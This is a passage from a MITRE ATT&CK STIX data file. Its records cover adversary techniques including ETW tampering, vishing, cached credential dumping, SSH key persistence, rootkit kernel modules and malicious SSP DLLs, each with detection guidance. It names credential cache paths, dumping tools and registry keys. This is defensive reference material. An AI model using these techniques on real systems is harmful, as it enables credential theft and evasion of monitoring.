Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6a5848a8-6201-4a2c-8a6a-ca5af8c6f3df","type":"attack-pattern","created":"2017-05-31T21:30:47.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1054","url":"https://attack.mitre.org/techniques/T1054"},{"external_id":"CAPEC-571","source_name":"capec","url":"https://capec.mitre.org/data/definitions/571.html"},{"url":"https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?name=Backdoor:Win32/Lamin.A","description":"Microsoft. (2009, May 17). Backdoor:Win32/Lamin.A. Retrieved September 6, 2018.","source_name":"Microsoft Lamin Sept 2017"},{"source_name":"Microsoft About Event Tracing 2018","url":"https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events","description":"Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019."},{"source_name":"Medium Event Tracing Tampering 2018","url":"https://medium.com/palantir/tampering-with-windows-event-tracing-background-offense-and-defense-4be7ac62ac63","description":"Palantir. (2018, December 24). Tampering with Windows Event Tracing: Background, Offense, and Defense. Retrieved June 7, 2019."}],"modified":"2020-03-19T19:10:25.404Z","name":"Indicator Blocking","description":"An adversary may attempt to block indicators or events typically captured by sensors from being gathered and analyzed. This could include maliciously redirecting (Citation: Microsoft Lamin Sept 2017) or even disabling host-based sensors, such as Event Tracing for Windows (ETW),(Citation: Microsoft About Event Tracing 2018) by tampering settings that control the collection and flow of event telemetry. (Citation: Medium Event Tracing Tampering 2018) These settings may be stored on the system in configuration files and/or in the Registry as well as being accessible via administrative utilities such as [PowerShell](https://attack.mitre.org/techniques/T1086) or [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).\n\nETW interruption can be achieved multiple ways, however most directly by defining conditions using the PowerShell Set-EtwTraceProvider cmdlet or by interfacing directly with the registry to make alterations.\n\nIn the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process responsible for forwarding telemetry and/or creating a host-based firewall rule to block traffic to specific hosts responsible for aggregating events, such as security information and event management (SIEM) products. ","kill_chain_phases":[{"phase_name":"defense-evasion","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"Detect lack of reported activity from a host sensor. Different methods of blocking may cause different disruptions in reporting. Systems may suddenly stop reporting all data or only certain kinds of data.\n\nDepending on the types of host information collected, an analyst may be able to detect the event that triggered a process to stop or connection to be blocked. For example, Sysmon will log when its configuration state has changed (Event ID 16) and Windows Management Instrumentation (WMI) may be used to subscribe ETW providers that log any provider removal from a specific trace session. (Citation: Medium Event Tracing Tampering 2018) To detect changes in ETW you can also monitor the registry key which contains configurations for all ETW event providers: HKLM\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\AUTOLOGGER_NAME\\{PROVIDER_GUID}\n\n","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Anti-virus","Log analysis","Host intrusion prevention systems"],"x_mitre_is_subtechnique":false},{"modified":"2023-09-08T21:03:35.477Z","name":"Spearphishing Voice","description":"Adversaries may use voice communications to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: [Impersonation](https://attack.mitre.org/techniques/T1656)) and/or creating a sense of urgency or alarm for the recipient.\n\nAll forms of phishing are electronically delivered social engineering. In this scenario, adversaries use phone calls to elicit sensitive information from victims. Known as voice phishing (or \"vishing\"), these communications can be manually executed by adversaries, hired call centers, or even automated via robocalls. Voice phishers may spoof their phone number while also posing as a trusted entity, such as a business partner or technical support staff.(Citation: BOA Telephone Scams)\n\nVictims may also receive phishing messages that direct them to call a phone number (\"callback phishing\") where the adversary attempts to collect confidential information.(Citation: Avertium callback phishing)\n\nAdversaries may also use information from previous reconnaissance efforts (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)) to tailor pretexts to be even more persuasive and believable for the victim.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","x_mitre_data_sources":["Application Log: Application Log Content"],"type":"attack-pattern","id":"attack-pattern--6a5d222a-a7e0-4656-b110-782c33098289","created":"2023-09-07T21:48:39.516Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1598/004","external_id":"T1598.004"},{"source_name":"Avertium callback phishing","description":"Avertium. (n.d.). EVERYTHING YOU NEED TO KNOW ABOUT CALLBACK PHISHING. Retrieved February 2, 2023.","url":"https://www.avertium.com/resources/threat-reports/everything-you-need-to-know-about-callback-phishing"},{"source_name":"BOA Telephone Scams","description":"Bank of America. (n.d.). How to avoid telephone scams. Retrieved September 8, 2023.","url":"https://business.bofa.com/en-us/content/what-is-vishing.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-14T22:11:30.271Z","name":"Redundant Access","description":"**This technique has been deprecated. Please use [Create Account](https://attack.mitre.org/techniques/T1136), [Web Shell](https://attack.mitre.org/techniques/T1505/003), and [External Remote Services](https://attack.mitre.org/techniques/T1133) where appropriate.**\n\nAdversaries may use more than one remote access tool with varying command and control protocols or credentialed access to remote services so they can maintain access if an access mechanism is detected or mitigated. \n\nIf one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use [External Remote Services](https://attack.mitre.org/techniques/T1133) such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.(Citation: Mandiant APT1) Adversaries may also retain access through cloud-based infrastructure and applications.\n\nUse of a [Web Shell](https://attack.mitre.org/techniques/T1100) is one such way to maintain access to a network through an externally accessible Web server.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Praetorian"],"x_mitre_deprecated":true,"x_mitre_detection":"Existing methods of detecting remote access tools are helpful. Backup remote access tools or other access points may not have established command and control channels open during an intrusion, so the volume of data transferred may not be as high as the primary channel unless access is lost.\n\nDetection of tools based on beacon traffic, Command and Control protocol, or adversary infrastructure require prior threat intelligence on tools, IP addresses, and/or domains the adversary may use, along with the ability to detect use at the network boundary. Prior knowledge of indicators of compromise may also help detect adversary tools at the endpoint if tools are available to scan for those indicators.\n\nIf an intrusion is in progress and sufficient endpoint data or decoded command and control traffic is collected, then defenders will likely be able to detect additional tools dropped as the adversary is conducting the operation.\n\nFor alternative access using externally accessible VPNs or remote services, follow detection recommendations under [Valid Accounts](https://attack.mitre.org/techniques/T1078) and [External Remote Services](https://attack.mitre.org/techniques/T1133) to collect account use information.","x_mitre_domains":["enterprise-attack"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Office Suite","Identity Provider"],"x_mitre_version":"3.1","x_mitre_defense_bypassed":["Network intrusion detection system","Anti-virus"],"x_mitre_permissions_required":["User","Administrator","SYSTEM"],"type":"attack-pattern","id":"attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a","created":"2017-05-31T21:31:18.867Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1108","external_id":"T1108"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1193","external_id":"T1193"},{"external_id":"CAPEC-163","source_name":"capec","url":"https://capec.mitre.org/data/definitions/163.html"}],"modified":"2020-03-02T19:08:17.884Z","name":"Spearphishing Attachment","description":"Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.\n\nAnti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1203) and [Scripting](https://attack.mitre.org/techniques/T1064).","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_is_subtechnique":false},{"modified":"2024-10-15T14:18:59.123Z","name":"Cached Domain Credentials","description":"Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nOn Linux systems, Active Directory credentials can be accessed through caches maintained by software like System Security Services Daemon (SSSD) or Quest Authentication Services (formerly VAS). Cached credential hashes are typically located at `/var/lib/sss/db/cache.[domain].ldb` for SSSD or `/var/opt/quest/vas/authcache/vas_auth.vdb` for Quest. Adversaries can use utilities, such as `tdbdump`, on these database files to dump the cached hashes and use [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to obtain the plaintext password.(Citation: Brining MimiKatz to Unix) \n\nWith SYSTEM or sudo access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py for Windows or Linikatz for Linux can be used to extract the cached credentials.(Citation: Brining MimiKatz to Unix)\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_contributors":["Ed Williams, Trustwave, SpiderLabs","Tim (Wadhwa-)Brown","Yves Yonan"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.\n\nDetection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows","Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["Command: Command Execution"],"type":"attack-pattern","id":"attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530","created":"2020-02-21T15:42:25.991Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1003/005","external_id":"T1003.005"},{"source_name":"PassLib mscache","description":"Eli Collins. (2016, November 25). Windows' Domain Cached Credentials v2. Retrieved February 21, 2020.","url":"https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html"},{"source_name":"ired mscache","description":"Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking mscash - Cached Domain Credentials. Retrieved February 21, 2020.","url":"https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials"},{"source_name":"Microsoft - Cached Creds","description":"Microsoft. (2016, August 21). Cached and Stored Credentials Technical Overview. Retrieved February 21, 2020.","url":"https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)"},{"source_name":"Powersploit","description":"PowerSploit. (n.d.). Retrieved December 4, 2014.","url":"https://github.com/mattifestation/PowerSploit"},{"source_name":"Brining MimiKatz to Unix","description":"Tim Wadhwa-Brown. (2018, November). Where 2 worlds collide Bringing Mimikatz et al to UNIX. Retrieved October 13, 2021.","url":"https://labs.portcullis.co.uk/download/eu-18-Wadhwa-Brown-Where-2-worlds-collide-Bringing-Mimikatz-et-al-to-UNIX.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-10-03T17:38:21.121Z","name":"SSH Authorized Keys","description":"Adversaries may modify the SSH authorized_keys file to maintain persistence on a victim host. Linux distributions and macOS commonly use key-based authentication to secure the authentication process of SSH sessions for remote management. The authorized_keys file in SSH specifies the SSH keys that can be used for logging into the user account for which the file is configured. This file is usually found in the user's home directory under <user-home>/.ssh/authorized_keys.(Citation: SSH Authorized Keys) Users may edit the system’s SSH config file to modify the directives PubkeyAuthentication and RSAAuthentication to the value “yes” to ensure public key and RSA authentication are enabled. The SSH config file is usually located under /etc/ssh/sshd_config.\n\nAdversaries may modify SSH authorized_keys files directly with scripts or shell commands to add their own adversary-supplied public keys. In cloud environments, adversaries may be able to modify the SSH authorized_keys file of a particular virtual machine via the command line interface or rest API. For example, by using the Google Cloud CLI’s “add-metadata” command an adversary may add SSH keys to a user account.(Citation: Google Cloud Add Metadata)(Citation: Google Cloud Privilege Escalation) Similarly, in Azure, an adversary may update the authorized_keys file of a virtual machine via a PATCH request to the API.(Citation: Azure Update Virtual Machines) This ensures that an adversary possessing the corresponding private key may log in as an existing user via SSH.(Citation: Venafi SSH Key Abuse)(Citation: Cybereason Linux Exim Worm) It may also lead to privilege escalation where the virtual machine or instance has distinct permissions from the requesting user.\n\nWhere authorized_keys files are modified via cloud APIs or command line interfaces, an adversary may achieve privilege escalation on the target virtual machine if they add a key to a higher-privileged user. \n\nSSH keys can also be added to accounts on network devices, such as with the `ip ssh pubkey-chain` [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) command.(Citation: cisco_ip_ssh_pubkey_ch_cmd)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Tony Lambert, Red Canary","Dror Alon, Palo Alto Networks","Or Kliger, Palo Alto Networks","Austin Clark, @c2defense","Arad Inbar, Fidelis Security"],"x_mitre_deprecated":false,"x_mitre_detection":"Use file integrity monitoring to detect changes made to the authorized_keys file for each user on a system. Monitor for suspicious processes modifying the authorized_keys file. In cloud environments, monitor instances for modification of metadata and configurations.\n\nMonitor for changes to and suspicious processes modifiying /etc/ssh/sshd_config.\n\nFor network infrastructure devices, collect AAA logging to monitor for rogue SSH keys being added to accounts.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","IaaS","Network"],"x_mitre_version":"1.3","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","File: File Modification"],"type":"attack-pattern","id":"attack-pattern--6b57dc31-b814-4a03-8706-28bc20d739c4","created":"2020-06-24T12:42:35.144Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1098/004","external_id":"T1098.004"},{"source_name":"Venafi SSH Key Abuse","description":"Blachman, Y. (2020, April 22). Growing Abuse of SSH Keys: Commodity Malware Campaigns Now Equipped with SSH Capabilities. Retrieved June 24, 2020.","url":"https://www.venafi.com/blog/growing-abuse-ssh-keys-commodity-malware-campaigns-now-equipped-ssh-capabilities"},{"source_name":"Google Cloud Privilege Escalation","description":"Chris Moberly. (2020, February 12). Tutorial on privilege escalation and post exploitation tactics in Google Cloud Platform environments. Retrieved April 1, 2022.","url":"https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/"},{"source_name":"cisco_ip_ssh_pubkey_ch_cmd","description":"Cisco. (2021, August 23). ip ssh pubkey-chain. Retrieved July 13, 2022.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/d1/sec-d1-cr-book/sec-cr-i3.html#wp1254331478"},{"source_name":"Cybereason Linux Exim Worm","description":"Cybereason Nocturnus. (2019, June 13). New Pervasive Worm Exploiting Linux Exim Server Vulnerability. Retrieved June 24, 2020.","url":"https://www.cybereason.com/blog/new-pervasive-worm-exploiting-linux-exim-server-vulnerability"},{"source_name":"Google Cloud Add Metadata","description":"Google Cloud. (2022, March 31). gcloud compute instances add-metadata. Retrieved April 1, 2022.","url":"https://cloud.google.com/sdk/gcloud/reference/compute/instances/add-metadata"},{"source_name":"Azure Update Virtual Machines","description":"Microsoft. (n.d.). Virtual Machines - Update. Retrieved April 1, 2022.","url":"https://docs.microsoft.com/en-us/rest/api/compute/virtual-machines/update"},{"source_name":"SSH Authorized Keys","description":"ssh.com. (n.d.). Authorized_keys File in SSH. Retrieved June 24, 2020.","url":"https://www.ssh.com/ssh/authorized_keys/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jeremy Galloway","Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5","type":"attack-pattern","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1215","url":"https://attack.mitre.org/techniques/T1215"},{"source_name":"Linux Kernel Programming","url":"https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf","description":"Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018."},{"url":"http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html","description":"Pomerantz, O., Salzman, P. (2003, April 4). Modules vs Programs. Retrieved April 6, 2018.","source_name":"Linux Kernel Module Programming Guide"},{"url":"https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html","description":"Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018.","source_name":"Volatility Phalanx2"},{"url":"https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/","description":"Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017.","source_name":"CrowdStrike Linux Rootkit"},{"url":"https://github.com/f0rb1dd3n/Reptile","description":"Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018.","source_name":"GitHub Reptile"},{"url":"https://github.com/m0nad/Diamorphine","description":"Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018.","source_name":"GitHub Diamorphine"},{"url":"http://www.megasecurity.org/papers/Rootkits.pdf","description":"Chuvakin, A. (2003, February). An Overview of Rootkits. Retrieved April 6, 2018.","source_name":"iDefense Rootkit Overview"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Wardle, P. (2015, April). Malware Persistence on OS X Yosemite. Retrieved April 6, 2018.","source_name":"RSAC 2015 San Francisco Patrick Wardle"},{"url":"https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/","description":"Wardle, P. (2017, September 8). High Sierra’s ‘Secure Kernel Extension Loading’ is Broken. Retrieved April 6, 2018.","source_name":"Synack Secure Kernel Extension Broken"},{"url":"https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/","description":"Mikhail, K. (2014, October 16). The Ventir Trojan: assemble your MacOS spy. Retrieved April 6, 2018.","source_name":"Securelist Ventir"},{"url":"https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux","description":"Wikipedia. (2018, March 17). Loadable kernel module. Retrieved April 9, 2018.","source_name":"Wikipedia Loadable Kernel Module"},{"url":"http://tldp.org/HOWTO/Module-HOWTO/x197.html","description":"Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018.","source_name":"Linux Loadable Kernel Module Insert and Remove LKMs"}],"modified":"2021-03-30T00:59:53.427Z","name":"Kernel Modules and Extensions","description":"Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming) When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide) Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)","kill_chain_phases":[{"phase_name":"persistence","kill_chain_name":"mitre-attack"}],"x_mitre_detection":"LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly. \nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["root"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6c174520-beea-43d9-aac6-28fb77f3e446","type":"attack-pattern","created":"2017-05-31T21:31:13.447Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1101","url":"https://attack.mitre.org/techniques/T1101"},{"url":"http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html","description":"Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017.","source_name":"Graeber 2014"},{"url":"https://technet.microsoft.com/en-us/library/dn408187.aspx","description":"Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015.","source_name":"Microsoft Configure LSA"}],"modified":"2020-01-24T17:35:47.598Z","name":"Security Support Provider","description":"Windows Security Support Provider (SSP) DLLs are loaded into the Local Security Authority (LSA) process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.\n (Citation: Graeber 2014)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor the Registry for changes to the SSP Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned SSP DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6c2957f9-502a-478c-b1dd-d626c0659413","type":"attack-pattern","created":"2020-10-02T16:01:35.350Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1590.006","url":"https://attack.mitre.org/techniques/T1590/006"},{"source_name":"Nmap Firewalls NIDS","url":"https://nmap.org/book/firewalls.html","description":"Nmap. (n.d.). Chapter 10. Detecting and Subverting Firewalls and Intrusion Detection Systems. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:31:54.275Z","name":"Network Security Appliances","description":"Adversaries may gather information about the victim's network security appliances that can be used during targeting. Information about network security appliances may include a variety of details, such as the existence and specifics of deployed firewalls, content filters, and proxies/bastion hosts. Adversaries may also target information about victim network-based intrusion detection systems (NIDS) or other appliances related to defensive cybersecurity operations.\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598).(Citation: Nmap Firewalls NIDS) Information about network security appliances may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, 